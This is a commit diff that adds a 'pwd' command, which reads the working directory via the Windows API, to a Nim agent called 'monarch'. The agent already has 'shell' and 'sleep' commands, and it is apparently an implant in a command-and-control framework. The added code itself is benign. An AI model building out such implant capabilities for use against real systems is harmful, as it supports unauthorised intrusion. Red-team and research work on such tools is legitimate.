Implemented 'pwd' command to retrieve working directory.

agents/monarch/commands/commands.nim

@@ -1,3 +1,3 @@
-import ./[shell, sleep]
+import ./[shell, sleep, pwd]
 
-export shell, sleep
+export shell, sleep, pwd

agents/monarch/commands/pwd.nim

@@ -0,0 +1,32 @@
+import os, strutils, strformat, base64, winim
+
+import ../types
+
+proc taskPwd*(task: Task): TaskResult = 
+
+    echo fmt"Retrieving current working directory."
+
+    try: 
+        
+        # Get current working directory using GetCurrentDirectory
+        let 
+            buffer = newWString(MAX_PATH + 1)
+            length = GetCurrentDirectoryW(MAX_PATH, &buffer)
+        
+        if length == 0:
+            raise newException(OSError, "Failed to get working directory.")
+
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode($buffer[0 ..< (int)length] & "\n"),
+            status: Completed
+        )
+
+    except CatchableError as err: 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(fmt"An error occured: {err.msg}" & "\n"),
+            status: Failed 
+        )